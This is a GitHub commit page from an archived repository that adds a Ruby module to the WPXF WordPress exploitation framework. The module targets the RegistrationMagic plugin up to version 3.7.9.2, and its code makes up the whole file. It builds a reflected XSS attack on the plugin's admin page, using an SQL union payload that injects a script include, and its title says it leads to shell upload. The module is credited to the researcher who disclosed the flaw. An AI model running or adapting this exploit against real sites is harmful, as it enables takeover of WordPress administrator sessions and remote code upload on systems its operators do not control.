Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 812eb8e

Browse files
committed
Add RegistrationMagic reflected XSS shell upload
1 parent 81f105c commit 812eb8e

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::RegistrationMagicReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
include ERB::Util
6+
7+
def initialize
8+
super
9+
10+
update_info(
11+
name: 'RegistrationMagic - Custom Registration Forms <= 3.7.9.2 Reflected XSS Shell Upload',
12+
author: [
13+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
14+
],
15+
references: [
16+
['URL', 'registrationmagic-custom-registration-forms-3-7-9-2-reflected-xss']
17+
],
18+
date: 'Dec 10 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '3.7.9.3')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_payload
31+
url_encode("-#{Utility::Text.rand_numeric(2)} union select 0,0,0,'<script>#{xss_ascii_encoded_include_script}</script>',concat(0x54,0x65,0x78,0x74,0x62,0x6f,0x78),0,0,0,0,0,0")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=rm_field_manage&rm_form_id=#{url_payload}"
36+
end
37+
end

0 commit comments

Comments
 (0)